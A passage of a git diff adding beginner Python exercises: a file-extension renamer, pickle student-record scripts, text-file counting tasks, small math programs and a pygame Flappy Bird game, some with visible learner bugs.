import Path as p +import random as rand +import hashlib + + +def chxten_(files, xten): + chfile = [] + for file in files: + ch_file = file.split(".") + ch_file = ch_file[0] + chfile.append(ch_file) + if len(xten) == len(chfile): + chxten = [] + for i in range(len(chfile)): + ch_xten = chfile[i] + xten[i] + chxten.append(ch_xten) + elif len(xten) < len(chfile) and len(xten) != 1: + chxten = [] + for i in range(len(xten)): + ch_xten = chfile[i] + xten[i] + chxten.append(ch_xten) + for i in range(1, (len(chfile) + 1) - len(xten)): + ch_xten = chfile[-+i] + xten[-1] + chxten.append(ch_xten) + elif len(xten) == 1: + chxten = [] + for i in range(len(chfile)): + ch_xten = chfile[i] + xten[0] + chxten.append(ch_xten) + elif len(xten) > len(chfile): + chxten = [] + for i in range(1, (len(xten) + 1) - len(chfile)): + f = p(files[-i]) + p.touch(chfile[-i] + xten[-1]) + new = f.read_bytes() + p(chfile[-i] + xten[-1]).write_bytes(new) + for i in range(len(chfile)): + ch_xten = chfile[i] + xten[i] + chxten.append(ch_xten) + else: + return "an error occured" + return chxten + + +# End of function definitions +# Beggining of execution of code +# password +password = input("Enter password:") + +password = password.encode() + +password = hashlib.sha512(password).hexdigest() +if ( + password + == "c99d3d8f321ff63c2f4aaec6f96f8df740efa2dc5f98fccdbbb503627fd69a9084073574ee4df2b888f9fe2ed90e29002c318be476bb62dabf8386a607db06c4" +): + pass +else: + print("wrong password!") + time.sleep(0.3) + exit(404) +files = input("Enter file names and thier extensions (seperated by commas):") +xten = input("Enter Xtensions to change with (seperated by commas):") + +if files == "*": + pw = p.cwd() + files = "" + for i in pw.iterdir(): + if not p.is_dir(i): + i = str(i) + if not i.endswith(".py"): + # if not i.endswith('exe'): + if not i.endswith(".log"): + files = files + i + "," +if files == "r": + pw = p.cwd() + files = "" + filer = [] + for i in pw.iterdir(): + if p.is_file(i): + i = str(i) + if not i.endswith(".py"): + if not i.endswith(".exe"): + if not i.endswith(".log"): + filer.append(i) + for i in range(5): + pos = rand.randint(0, len(filer)) + files = files + filer[pos] + "," + + print(files) +files = files.split(",") +xten = xten.split(",") + +# Validation +for file in files: + check = p(file).exists() + if check == False: + print(f"{file} is not found. Paste this file in the directory of {file}") + files.remove(file) +# Ended validation + +count = len(files) +chxten = chxten_(files, xten) + +# Error Handlings +if chxten == "an error occured": + print("Check your inputs correctly") + time.sleep(1) + exit(404) +else: + try: + for i in range(len(files)): + f = p(files[i]) + f.rename(chxten[i]) + print("All files has been changed") + except PermissionError: + pass + except FileNotFoundError: + # Validation + for file in files: + check = p(file).exists() + if check == False: + print( + f"{file} is not found. Paste this file in the directory of {file}" + ) + files.remove(file) + # except Exception: + # print('An Error Has Occured in exception') + # time.sleep(1) + # exit(404) + +# last modified 3:25PM 12/12/2023 (DD/MM/YYYY) diff --git a/file_handle/File handle binary/.env b/file_handle/File handle binary/.env new file mode 100644 index 00000000000..ab3d7291cb4 --- /dev/null +++ b/file_handle/File handle binary/.env @@ -0,0 +1 @@ +STUDENTS_RECORD_FILE= "student_records.pkl" \ No newline at end of file diff --git a/file_handle/File handle binary/Update a binary file2.py b/file_handle/File handle binary/Update a binary file2.py new file mode 100644 index 00000000000..37b5a24e459 --- /dev/null +++ b/file_handle/File handle binary/Update a binary file2.py @@ -0,0 +1,40 @@ +# updating records in a binary file + +import pickle +import os + +base = os.path.dirname(__file__) +from dotenv import load_dotenv + +load_dotenv(os.path.join(base, ".env")) +student_record = os.getenv("STUDENTS_RECORD_FILE") + +## ! Understand how pandas works internally + + +def update(): + with open(student_record, "rb") as File: + value = pickle.load(File) + found = False + roll = int(input("Enter the roll number of the record")) + + for i in value: + if roll == i[0]: + print(f"current name {i[1]}") + print(f"current marks {i[2]}") + i[1] = input("Enter the new name") + i[2] = int(input("Enter the new marks")) + found = True + + if not found: + print("Record not found") + + with open(student_record, "wb") as File: + pickle.dump(value, File) + + +update() + +# ! Instead of AB use WB? +# ! It may have memory limits while updating large files but it would be good +# ! Few lakhs records would be fine and wouldn't create any much of a significant issues diff --git a/file_handle/File handle binary/delete.py b/file_handle/File handle binary/delete.py new file mode 100644 index 00000000000..c2175469522 --- /dev/null +++ b/file_handle/File handle binary/delete.py @@ -0,0 +1,44 @@ +import logging +import os +import pickle + +from dotenv import load_dotenv + +base = os.path.dirname(__file__) +load_dotenv(os.path.join(base, ".env")) + +logging.basicConfig(level=logging.INFO, format="%(levelname)s: %(message)s") +student_record = os.getenv("STUDENTS_RECORD_FILE") + + +def b_read(): + # Opening a file & loading it + if not os.path.exists(student_record): + logging.warning("File not found") + return + + with open(student_record, "rb") as F: + student = pickle.load(F) + logging.info("File opened successfully") + logging.info("Records in the file are:") + for i in student: + logging.info(i) + + +def b_modify(): + # Deleting the Roll no. entered by user + if not os.path.exists(student_record): + logging.warning("File not found") + return + roll_no = int(input("Enter the Roll No. to be deleted: ")) + student = 0 + with open(student_record, "rb") as F: + student = pickle.load(F) + + with open(student_record, "wb") as F: + rec = [i for i in student if i[0] != roll_no] + pickle.dump(rec, F) + + +b_read() +b_modify() diff --git a/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py b/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py new file mode 100644 index 00000000000..27a29f887dc --- /dev/null +++ b/file_handle/File handle binary/question 1 (elegible for remedial, top marks).py @@ -0,0 +1,66 @@ +"""Amit is a monitor of class XII-A and he stored the record of all +the students of his class in a file named “student_records.pkl”. +Structure of record is [roll number, name, percentage]. His computer +teacher has assigned the following duty to Amit + +Write a function remcount( ) to count the number of students who need + remedial class (student who scored less than 40 percent) +and find the top students of the class. + +We have to find weak students and bright students. +""" + +## Find bright students and weak students + +from dotenv import load_dotenv +import os + +base = os.path.dirname(__file__) +load_dotenv(os.path.join(base, ".env")) +student_record = os.getenv("STUDENTS_RECORD_FILE") + +import pickle +import logging + +# Define logger with info +# import polar + + +## ! Unoptimised rehne de abhi ke liye + + +def remcount(): + with open(student_record, "rb") as F: + val = pickle.load(F) + count = 0 + weak_students = [] + + for student in val: + if student[2] <= 40: + print(f"{student} eligible for remedial") + weak_students.append(student) + count += 1 + print(f"the total number of weak students are {count}") + print(f"The weak students are {weak_students}") + + # ! highest marks is the key here first marks + + +def firstmark(): + with open(student_record, "rb") as F: + val = pickle.load(F) + count = 0 + main = [i[2] for i in val] + + top = max(main) + print(top, "is the first mark") + + for i in val: + if top == i[2]: + print(f"{i}\ncongrats") + count += 1 + print("The total number of students who secured top marks are", count) + + +remcount() +firstmark() diff --git a/file_handle/File handle binary/read.py b/file_handle/File handle binary/read.py new file mode 100644 index 00000000000..9c69281b4bf --- /dev/null +++ b/file_handle/File handle binary/read.py @@ -0,0 +1,22 @@ +import pickle + + +def binary_read(): + with open("studrec.dat", "rb") as b: + stud = pickle.load(b) + print(stud) + + # prints the whole record in nested list format + print("contents of binary file") + + for ch in stud: + print(ch) # prints one of the chosen rec in list + + rno = ch[0] + rname = ch[1] # due to unpacking the val not printed in list format + rmark = ch[2] + + print(rno, rname, rmark, end="\t") + + +binary_read() diff --git a/file_handle/File handle binary/search record in binary file.py b/file_handle/File handle binary/search record in binary file.py new file mode 100644 index 00000000000..a3b89e69c87 --- /dev/null +++ b/file_handle/File handle binary/search record in binary file.py @@ -0,0 +1,22 @@ +# binary file to search a given record + +import pickle +from dotenv import load_dotenv + + +def search(): + with open("student_records.pkl", "rb") as F: + # your file path will be different + search = True + rno = int(input("Enter the roll number of the student")) + + for i in pickle.load(F): + if i[0] == rno: + print(f"Record found successfully\n{i}") + search = False + + if search: + print("Sorry! record not found") + + +search() diff --git a/file_handle/File handle binary/update2.py b/file_handle/File handle binary/update2.py new file mode 100644 index 00000000000..ecb55168906 --- /dev/null +++ b/file_handle/File handle binary/update2.py @@ -0,0 +1,30 @@ +import pickle +import os +from dotenv import load_dotenv + +base = os.path.dirname(__file__) +load_dotenv(os.path.join(base, ".env")) +student_record = os.getenv("STUDENTS_RECORD_FILE") + + +def update(): + with open(student_record, "rb") as F: + S = pickle.load(F) + found = False + rno = int(input("enter the roll number you want to update")) + + for i in S: + if rno == i[0]: + print(f"the currrent name is {i[1]}") + i[1] = input("enter the new name") + found = True + break + + if found: + print("Record not found") + + with open(student_record, "wb") as F: + pickle.dump(S, F) + + +update() diff --git a/file_handle/File handle text/counter.py b/file_handle/File handle text/counter.py new file mode 100644 index 00000000000..0cf3d03819a --- /dev/null +++ b/file_handle/File handle text/counter.py @@ -0,0 +1,44 @@ +""" +Class resposible for counting words for different files: +- Reduce redundant code +- Easier code management/debugging +- Code readability +""" + +## ! Is there any other way than doing it linear? + + +## ! What will be test cases of it? +# ! Please do let me know. +## ! Can add is digit, isspace methods too later on. +# ! Based on requirements of it + + + +## ! The questions are nothing but test-cases +## ! Make a test thing and handle it. +# does it count only alphabets or numerics too? +# ? what about other characters? +class Counter: + def __init__(self, text: str) -> None: + self.text = text + # Define the initial count of the lower and upper case. + self.count_lower = 0 + self.count_upper = 0 + self.compute() + + def compute(self) -> None: + for char in self.text: + if char.islower(): + self.count_lower += 1 + elif char.isupper(): + self.count_upper += 1 + + def get_total_lower(self) -> int: + return self.count_lower + + def get_total_upper(self) -> int: + return self.count_upper + + def get_total_chars(self) -> int: + return self.count_lower + self.count_upper diff --git a/file_handle/File handle text/file handle 12 length of line in text file.py b/file_handle/File handle text/file handle 12 length of line in text file.py new file mode 100644 index 00000000000..1280c21b245 --- /dev/null +++ b/file_handle/File handle text/file handle 12 length of line in text file.py @@ -0,0 +1,38 @@ +import os +import time + +file_name = input("Enter the file name to create:- ") + +print(file_name) + + +def write_to_file(file_name): + if os.path.exists(file_name): + print(f"Error: {file_name} already exists.") + return + + with open(file_name, "a") as F: + while True: + text = input("enter any text to add in the file:- ") + F.write(f"{text}\n") + choice = input("Do you want to enter more, y/n").lower() + if choice == "n": + break + + +def longlines(): + with open(file_name, encoding="utf-8") as F: + lines = F.readlines() + lines_less_than_50 = list(filter(lambda line: len(line) < 50, lines)) + + if not lines_less_than_50: + print("There is no line which is less than 50") + else: + for i in lines_less_than_50: + print(i, end="\t") + + +if __name__ == "__main__": + write_to_file(file_name) + time.sleep(1) + longlines() diff --git a/file_handle/File handle text/happy.txt b/file_handle/File handle text/happy.txt new file mode 100644 index 00000000000..ce9edea82d1 --- /dev/null +++ b/file_handle/File handle text/happy.txt @@ -0,0 +1,11 @@ +hello how are you +what is your name +do not worry everything is alright +everything will be alright +please don't lose hope +Wonders are on the way +Take a walk in the park +At the end of the day you are more important than anything else. +Many moments of happiness are waiting +You are amazing! +If you truly believe. \ No newline at end of file diff --git a/file_handle/File handle text/input,output and error streams.py b/file_handle/File handle text/input,output and error streams.py new file mode 100644 index 00000000000..a83319f8b5a --- /dev/null +++ b/file_handle/File handle text/input,output and error streams.py @@ -0,0 +1,16 @@ +# practicing with streams +import sys + +sys.stdout.write("Enter the name of the file") +file = sys.stdin.readline() + +with open( + file.strip(), +) as F: + while True: + ch = F.readlines() + for i in ch: # ch is the whole file,for i in ch gives lines, for j in i gives letters,for j in i.split gives words + print(i, end="") + else: + sys.stderr.write("End of file reached") + break diff --git a/file_handle/File handle text/question 2.py b/file_handle/File handle text/question 2.py new file mode 100644 index 00000000000..58a69f0b27d --- /dev/null +++ b/file_handle/File handle text/question 2.py @@ -0,0 +1,32 @@ +"""Write a method/function DISPLAYWORDS() in python to read lines + from a text file STORY.TXT, + using read function +and display those words, which are less than 4 characters.""" + +print("Hey!! You can print the word which are less then 4 characters") + + +def display_words(file_path): + try: + with open(file_path) as F: + words = F.read().split() + words_less_than_40 = list(filter(lambda word: len(word) < 4, words)) + + for word in words_less_than_40: + print(word) + + return ( + "The total number of the word's count which has less than 4 characters", + (len(words_less_than_40)), + ) + + except FileNotFoundError: + print("File not found") + + +print("Just need to pass the path of your file..") + +file_path = input("Please, Enter file path: ") + +if __name__ == "__main__": + print(display_words(file_path)) diff --git a/file_handle/File handle text/question 5.py b/file_handle/File handle text/question 5.py new file mode 100644 index 00000000000..1c3ec52935e --- /dev/null +++ b/file_handle/File handle text/question 5.py @@ -0,0 +1,40 @@ +"""Write a function in python to count the number of lowercase +alphabets present in a text file “happy.txt""" + +import time +import os +from counter import Counter + +print( + "You will see the count of lowercase, uppercase and total count of alphabets in provided file.." +) + + +file_path = input("Please, Enter file path: ") + +if os.path.exists(file_path): + print("The file exists and this is the path:\n", file_path) + + +def lowercase(file_path): + try: + with open(file_path) as F: + word_counter = Counter(F.read()) + + print( + f"The total number of lower case letters are {word_counter.get_total_lower()}" + ) + time.sleep(0.5) + print( + f"The total number of upper case letters are {word_counter.get_total_upper()}" + ) + time.sleep(0.5) + print(f"The total number of letters are {word_counter.get_total()}") + time.sleep(0.5) + + except FileNotFoundError: + print("File is not exist.. Please check AGAIN") + + +if __name__ == "__main__": + lowercase(file_path) diff --git a/file_handle/File handle text/question 6.py b/file_handle/File handle text/question 6.py new file mode 100644 index 00000000000..e8fde939b4c --- /dev/null +++ b/file_handle/File handle text/question 6.py @@ -0,0 +1,21 @@ +"""Write a function in python to count the number of lowercase +alphabets present in a text file “happy.txt”""" + +from counter import Counter + + +def lowercase(): + with open("happy.txt") as F: + word_counter = Counter(F.read()) + + print( + f"The total number of lower case letters are {word_counter.get_total_lower()}" + ) + print( + f"The total number of upper case letters are {word_counter.get_total_upper()}" + ) + print(f"The total number of letters are {word_counter.get_total()}") + + +if __name__ == "__main__": + lowercase() diff --git a/file_handle/File handle text/question3.py b/file_handle/File handle text/question3.py new file mode 100644 index 00000000000..7a771e8994d --- /dev/null +++ b/file_handle/File handle text/question3.py @@ -0,0 +1,47 @@ +"""Write a user-defined function named count() that will read +the contents of text file named “happy.txt” and count +the number of lines which starts with either “I‟ or “M‟.""" + +import os +import time + +file_name = input("Enter the file name to create:- ") + +# step1: +print(file_name) + + +def write_to_file(file_name): + if os.path.exists(file_name): + print(f"Error: {file_name} already exists.") + + else: + with open(file_name, "a") as F: + while True: + text = input("enter any text") + F.write(f"{text}\n") + + if input("do you want to enter more, y/n").lower() == "n": + break + + +# step2: +def check_first_letter(): + with open(file_name) as F: + lines = F.read().split() + + # store all starting letters from each line in one string after converting to lower case + first_letters = "".join([line[0].lower() for line in lines]) + + count_i = first_letters.count("i") + count_m = first_letters.count("m") + + print( + f"The total number of sentences starting with I or M are {count_i + count_m}" + ) + + +if __name__ == "__main__": + write_to_file(file_name) + time.sleep(1) + check_first_letter() diff --git a/file_handle/File handle text/special symbol after word.py b/file_handle/File handle text/special symbol after word.py new file mode 100644 index 00000000000..6e44cc99321 --- /dev/null +++ b/file_handle/File handle text/special symbol after word.py @@ -0,0 +1,11 @@ +with open("happy.txt", "r") as F: + # method 1 + for i in F.read().split(): + print(i, "*", end="") + print("\n") + + # method 2 + F.seek(0) + for line in F.readlines(): + for word in line.split(): + print(word, "*", end="") diff --git a/file_handle/File handle text/story.txt b/file_handle/File handle text/story.txt new file mode 100644 index 00000000000..c9f59eb01c6 --- /dev/null +++ b/file_handle/File handle text/story.txt @@ -0,0 +1,5 @@ +once upon a time there was a king. +he was powerful and happy. +he +all the flowers in his garden were beautiful. +he lived happily ever after. \ No newline at end of file diff --git a/fileinfo.py b/fileinfo.py index 3ad3e54a0fd..bc80dc4bc5a 100644 --- a/fileinfo.py +++ b/fileinfo.py @@ -1,47 +1,102 @@ -# Script Name : fileinfo.py -# Author : Not sure where I got this from -# Created : 28th November 2011 -# Last Modified : -# Version : 1.0 -# Modifications : - -# Description : Show file information for a given file +# Script Name : fileinfo.py +# Author : Not sure where I got this from +# Created : 28th November 2011 +# Last Modified : 23th March 2020 +# Version : 1.0 +# Modifications : +# Description : Show file information for a given file # get file information using os.stat() # tested with Python24 vegsaeat 25sep2006 +from __future__ import print_function + import os -import stat # index constants for os.stat() +import stat # index constants for os.stat() +import sys import time -# pick a file you have ... -file_name = raw_input("Enter a file name: ") + +if sys.version_info >= (3, 0): + raw_input = input + +file_name = raw_input("Enter a file name: ") # pick a file you have +count = 0 +t_char = 0 + +try: + with open(file_name) as f: + # Source: https://stackoverflow.com/a/1019572 + count = sum(1 for line in f) + f.seek(0) + t_char = sum([len(line) for line in f]) +except FileNotFoundError as e: + print(e) + sys.exit(1) +# When open item is a directory (python2) +except IOError: + pass +# When open item is a directory (python3) +except IsADirectoryError: + pass + file_stats = os.stat(file_name) # create a dictionary to hold file info file_info = { - 'fname': file_name, - 'fsize': file_stats [stat.ST_SIZE], - 'f_lm': time.strftime("%d/%m/%Y %I:%M:%S %p",time.localtime(file_stats[stat.ST_MTIME])), - 'f_la': time.strftime("%d/%m/%Y %I:%M:%S %p",time.localtime(file_stats[stat.ST_ATIME])), - 'f_ct': time.strftime("%d/%m/%Y %I:%M:%S %p",time.localtime(file_stats[stat.ST_CTIME])) + "fname": file_name, + "fsize": file_stats[stat.ST_SIZE], + "f_lm": time.strftime( + "%d/%m/%Y %I:%M:%S %p", time.localtime(file_stats[stat.ST_MTIME]) + ), + "f_la": time.strftime( + "%d/%m/%Y %I:%M:%S %p", time.localtime(file_stats[stat.ST_ATIME]) + ), + "f_ct": time.strftime( + "%d/%m/%Y %I:%M:%S %p", time.localtime(file_stats[stat.ST_CTIME]) + ), + "no_of_lines": count, + "t_char": t_char, } -print -print "file name = %(fname)s" % file_info -print "file size = %(fsize)s bytes" % file_info -print "last modified = %(f_lm)s" % file_info -print "last accessed = %(f_la)s" % file_info -print "creation time = %(f_ct)s" % file_info -print +# print out the file info +file_info_keys = ( + "file name", + "file size", + "last modified", + "last accessed", + "creation time", + "Total number of lines are", + "Total number of characters are", +) +file_info_vales = ( + file_info["fname"], + str(file_info["fsize"]) + " bytes", + file_info["f_lm"], + file_info["f_la"], + file_info["f_ct"], + file_info["no_of_lines"], + file_info["t_char"], +) + +for f_key, f_value in zip(file_info_keys, file_info_vales): + print(f_key, " =", f_value) + +# check the `file` is direcotry +# print out the file stats if stat.S_ISDIR(file_stats[stat.ST_MODE]): - print "This a directory" + print("This a directory.") else: - print "This is not a directory" - print - print "A closer look at the os.stat(%s) tuple:" % file_name - print file_stats - print - print "The above tuple has the following sequence:" - print """st_mode (protection bits), st_ino (inode number), - st_dev (device), st_nlink (number of hard links), - st_uid (user ID of owner), st_gid (group ID of owner), - st_size (file size, bytes), st_atime (last access time, seconds since epoch), - st_mtime (last modification time), st_ctime (time of creation, Windows)""" + file_stats_fmt = "" + print("\nThis is not a directory.") + stats_keys = ( + "st_mode (protection bits)", + "st_ino (inode number)", + "st_dev (device)", + "st_nlink (number of hard links)", + "st_uid (user ID of owner)", + "st_gid (group ID of owner)", + "st_size (file size bytes)", + "st_atime (last access time seconds since epoch)", + "st_mtime (last modification time)", + "st_ctime (time of creation Windows)", + ) + for s_key, s_value in zip(stats_keys, file_stats): + print(s_key, " =", s_value) diff --git a/find_cube_root.py b/find_cube_root.py new file mode 100644 index 00000000000..9e0a9c192d4 --- /dev/null +++ b/find_cube_root.py @@ -0,0 +1,30 @@ +# This method is called exhaustive numeration! +# I am checking every possible value +# that can be root of given x systematically +# Kinda brute forcing + + +def cubeRoot(): + x = int(input("Enter an integer: ")) + for ans in range(0, abs(x) + 1): + if ans**3 == abs(x): + break + if ans**3 != abs(x): + print(x, "is not a perfect cube!") + else: + if x < 0: + ans = -ans + print("Cube root of " + str(x) + " is " + str(ans)) + + +cubeRoot() + +cont = input("Would you like to continue: ") +while cont == "yes" or "y": + cubeRoot() + cont = input("Would you like to continue: ") + if cont == "no" or "n": + exit() + else: + print("Enter a correct answer(yes or no)") + cont = input("Would you like to continue: ") diff --git a/find_prime.py b/find_prime.py new file mode 100644 index 00000000000..2fd050abeda --- /dev/null +++ b/find_prime.py @@ -0,0 +1,48 @@ +"""Author Anurag Kumar(mailto:anuragkumara95@gmail.com) + +A prime number is a natural number that has exactly two distinct natural number divisors: 1 and itself. + +#USAGE: + - $pythonfind_prime.py + +##THEORY +-Sieve of Eratosthenes(source:wikipedia.com) + In mathematics, the sieve of Eratosthenes is a simple, ancient algorithm for finding all prime numbers up to any given limit. + + It does so by iteratively marking as composite (i.e., not prime) the multiples of each prime, starting with the first prime + number, 2. The multiples of a given prime are generated as a sequence of numbers starting from that prime, with constant + difference between them that is equal to that prime. This is the sieve's key distinction from using trial division to + sequentially test each candidate number for divisibility by each prime. + + To find all the prime numbers less than or equal to a given integer n by Eratosthenes' method: + + - Create a list of consecutive integers from 2 through n: (2, 3, 4, ..., n). + - Initially, let p equal 2, the smallest prime number. + - Enumerate the multiples of p by counting to n from 2p in increments of p, and mark them in the list (these will be 2p, + 3p, 4p, ...; the p itself should not be marked). + - Find the first number greater than p in the list that is not marked. If there was no such number, stop. Otherwise, let + p now equal this new number (which is the next prime), and repeat from step 3. + - When the algorithm terminates, the numbers remaining not marked in the list are all the primes below n. +""" + +import sys + + +def find_prime(num): + res_list = [] + for i in range(2, num + 1): + if res_list != [] and any(i % l == 0 for l in res_list): + continue + res_list.append(i) + return res_list + + +if __name__ == "__main__": + if len(sys.argv) != 2: + raise Exception("usage - $python find_prime.py ") + try: + num = int(sys.argv[1]) + except ValueError: + raise Exception("Enter an integer as argument only.") + l = find_prime(num) + print(l) diff --git a/finding LCM.py b/finding LCM.py new file mode 100644 index 00000000000..dfd1b57e81e --- /dev/null +++ b/finding LCM.py @@ -0,0 +1,23 @@ +# Python Program to find the L.C.M. of two input number + + +def compute_lcm(x, y): + # choose the greater number + if x > y: + greater = x + else: + greater = y + + while True: + if (greater % x == 0) and (greater % y == 0): + lcm = greater + break + greater += 1 + + return lcm + + +num1 = 54 +num2 = 24 + +print("The L.C.M. is", compute_lcm(num1, num2)) diff --git a/findlargestno.md b/findlargestno.md new file mode 100644 index 00000000000..a4fb15c1231 --- /dev/null +++ b/findlargestno.md @@ -0,0 +1,21 @@ +# Python program to find the largest number among the three input numbers + +# change the values of num1, num2 and num3 +# for a different result +num1 = 10 +num2 = 14 +num3 = 12 + +# uncomment following lines to take three numbers from user +#num1 = float(input("Enter first number: ")) +#num2 = float(input("Enter second number: ")) +#num3 = float(input("Enter third number: ")) + +if (num1 >= num2) and (num1 >= num3): + largest = num1 +elif (num2 >= num1) and (num2 >= num3): + largest = num2 +else: + largest = num3 + +print("The largest number is", largest) diff --git a/flappyBird_pygame/README.md b/flappyBird_pygame/README.md new file mode 100644 index 00000000000..a7f364d0966 --- /dev/null +++ b/flappyBird_pygame/README.md @@ -0,0 +1 @@ +Flappy Bird Game in Python diff --git a/flappyBird_pygame/flappy_bird.py b/flappyBird_pygame/flappy_bird.py new file mode 100644 index 00000000000..cc573b778fe --- /dev/null +++ b/flappyBird_pygame/flappy_bird.py @@ -0,0 +1,262 @@ +#! /usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +Created on Fri Mar 23 14:17:24 2019 + +@author: Mehul +""" + +import math +import os +from collections import deque +from random import randint + +import pygame +from pygame.locals import * + +FPS = 60 +ANI_SPEED = 0.18 # pixels per millisecond +W_WIDTH = 284 * 2 # BG image size: 284x512 px; tiled twice +W_HEIGHT = 512 + + +class Bird(pygame.sprite.Sprite): + WIDTH = 32 # bird image width + HEIGHT = 32 # bird image height + DOWN_SPEED = 0.18 # pix per ms -y + UP_SPEED = 0.3 # pix per ms +y + UP_DURATION = 150 # time for which bird go up + + def __init__(self, x, y, ms_to_up, images): + super(Bird, self).__init__() + self.x, self.y = x, y + self.ms_to_up = ms_to_up + self._img_wingup, self._img_wingdown = images + self._mask_wingup = pygame.mask.from_surface(self._img_wingup) + self._mask_wingdown = pygame.mask.from_surface(self._img_wingdown) + + def update(self, delta_frames=1): + if self.ms_to_up > 0: + frac_climb_done = 1 - self.ms_to_up / Bird.UP_DURATION + self.y -= ( + Bird.UP_SPEED + * frames_to_msec(delta_frames) + * (1 - math.cos(frac_climb_done * math.pi)) + ) + self.ms_to_up -= frames_to_msec(delta_frames) + else: + self.y += Bird.DOWN_SPEED * frames_to_msec(delta_frames) + + @property + def image(self): + # to animate bird + if pygame.time.get_ticks() % 500 >= 250: + return self._img_wingup + else: + return self._img_wingdown + + @property + def mask(self): + # collision detection + if pygame.time.get_ticks() % 500 >= 250: + return self._mask_wingup + else: + return self._mask_wingdown + + @property + def rect(self): + # return birds params + return Rect(self.x, self.y, Bird.WIDTH, Bird.HEIGHT) + + +class PipePair(pygame.sprite.Sprite): + WIDTH = 80 # width of pipe + PIECE_HEIGHT = 32 + ADD_INTERVAL = 3000 + + def __init__(self, pipe_end_img, pipe_body_img): + self.x = float(W_WIDTH - 1) + self.score_counted = False + + self.image = pygame.Surface((PipePair.WIDTH, W_HEIGHT), SRCALPHA) + self.image.convert() # speeds up blitting + self.image.fill((0, 0, 0, 0)) + total_pipe_body_pieces = int( + ( + W_HEIGHT + - 3 * Bird.HEIGHT # fill window from top to bottom + - 3 * PipePair.PIECE_HEIGHT # make room for bird to fit through + ) + / PipePair.PIECE_HEIGHT # 2 end pieces + 1 body piece # to get number of pipe pieces + ) + self.bottom_pieces = randint(1, total_pipe_body_pieces) + self.top_pieces = total_pipe_body_pieces - self.bottom_pieces + + # bottom pipe + for i in range(1, self.bottom_pieces + 1): + piece_pos = (0, W_HEIGHT - i * PipePair.PIECE_HEIGHT) + self.image.blit(pipe_body_img, piece_pos) + bottom_pipe_end_y = W_HEIGHT - self.bottom_height_px + bottom_end_piece_pos = (0, bottom_pipe_end_y - PipePair.PIECE_HEIGHT) + self.image.blit(pipe_end_img, bottom_end_piece_pos) + + # top pipe + for i in range(self.top_pieces): + self.image.blit(pipe_body_img, (0, i * PipePair.PIECE_HEIGHT)) + top_pipe_end_y = self.top_height_px + self.image.blit(pipe_end_img, (0, top_pipe_end_y)) + + # compensate for added end pieces + self.top_pieces += 1 + self.bottom_pieces += 1 + + # for collision detection + self.mask = pygame.mask.from_surface(self.image) + + @property + def top_height_px(self): + # returns top pipe's height in pix + return self.top_pieces * PipePair.PIECE_HEIGHT + + @property + def bottom_height_px(self): + return self.bottom_pieces * PipePair.PIECE_HEIGHT + + @property + def visible(self): + # pipe is on screen or not + return -PipePair.WIDTH < self.x < W_WIDTH + + @property + def rect(self): + # Get the Rect which contains this Pipe. + return Rect(self.x, 0, PipePair.WIDTH, PipePair.PIECE_HEIGHT) + + def update(self, delta_frames=1): + self.x -= ANI_SPEED * frames_to_msec(delta_frames) + + def collides_with(self, bird): + return pygame.sprite.collide_mask(self, bird) + + +def load_images(): + def load_image(img_file_name): + file_name = os.path.join(".", "images", img_file_name) + img = pygame.image.load(file_name) + img.convert() + return img + + return { + "background": load_image("background.png"), + "pipe-end": load_image("pipe_end.png"), + "pipe-body": load_image("pipe_body.png"), + # images for animating the flapping bird -- animated GIFs are + # not supported in pygame + "bird-wingup": load_image("bird_wing_up.png"), + "bird-wingdown": load_image("bird_wing_down.png"), + } + + +def frames_to_msec(frames, fps=FPS): + return 1000.0 * frames / fps + + +def msec_to_frames(milliseconds, fps=FPS): + return fps * milliseconds / 1000.0 + + +""" +def gameover(display, score): + font = pygame.font.SysFont(None,55) + text = font.render("Game Over! Score: {}".format(score),True,(255,0,0)) + display.blit(text, [150,250])""" + + +def main(): + pygame.init() + + display_surface = pygame.display.set_mode((W_WIDTH, W_HEIGHT)) + pygame.display.set_caption("Flappy Bird by PMN") + + clock = pygame.time.Clock() + score_font = pygame.font.SysFont(None, 32, bold=True) # default font + images = load_images() + + # the bird stays in the same x position, so bird.x is a constant + # center bird on screen + bird = Bird( + 50, + int(W_HEIGHT / 2 - Bird.HEIGHT / 2), + 2, + (images["bird-wingup"], images["bird-wingdown"]), + ) + + pipes = deque() + + frame_clock = 0 # this counter is only incremented if the game isn't paused + score = 0 + done = paused = False + while not done: + clock.tick(FPS) + + # Handle this 'manually'. If we used pygame.time.set_timer(), + # pipe addition would be messed up when paused. + if not (paused or frame_clock % msec_to_frames(PipePair.ADD_INTERVAL)): + pp = PipePair(images["pipe-end"], images["pipe-body"]) + pipes.append(pp) + + for e in pygame.event.get(): + if e.type == QUIT or (e.type == KEYUP and e.key == K_ESCAPE): + done = True + break + elif e.type == KEYUP and e.key in (K_PAUSE, K_p): + paused = not paused + elif e.type == MOUSEBUTTONUP or ( + e.type == KEYUP and e.key in (K_UP, K_RETURN, K_SPACE) + ): + bird.ms_to_up = Bird.UP_DURATION + + if paused: + continue # don't draw anything + + # check for collisions + pipe_collision = any(p.collides_with(bird) for p in pipes) + if pipe_collision or 0 >= bird.y or bird.y >= W_HEIGHT - Bird.HEIGHT: + done = True + + for x in (0, W_WIDTH / 2): + display_surface.blit(images["background"], (x, 0)) + + while pipes and not pipes[0].visible: + pipes.popleft() + + for p in pipes: + p.update() + display_surface.blit(p.image, p.rect) + + bird.update() + display_surface.blit(bird.image, bird.rect) + + # update and display score + for p in pipes: + if p.x + PipePair.WIDTH < bird.x and not p.score_counted: + score += 1 + p.score_counted = True + + score_surface = score_font.render(str(score), True, (255, 255, 255)) + score_x = W_WIDTH / 2 - score_surface.get_width() / 2 + display_surface.blit(score_surface, (score_x, PipePair.PIECE_HEIGHT)) + + pygame.display.flip() + frame_clock += 1 + # gameover(display_surface, score) + + print("Game over! Score: %i" % score) + + pygame.quit() + + +if __name__ == "__main__": + # If this module had been imported, __name__ would be 'flappybird'. + # It was executed (e.g. by double-clicking the file), so call main. + main() diff --git a/flappyBird_pygame/images/background.png b/flappyBird_pygame/images/background.png new file mode 100644 index 00000000000..af5a79d2cfa Binary files /dev/null and b/flappyBird_pygame/images/background.png differ diff --git a/flappyBird_pygame/images/bird.gif b/flappyBird_pygame/images/bird.gif new file mode 100644 index 00000000000..c2dc6eac14b Binary files /dev/null and b/flappyBird_pygame/images/bird.gif differ diff --git a/flappyBird_pygame/images/bird_wing_down.png b/flappyBird_pygame/images/bird_wing_down.png new file mode 100644 index 00000000000..8c01ed20138 Binary files /dev/null and 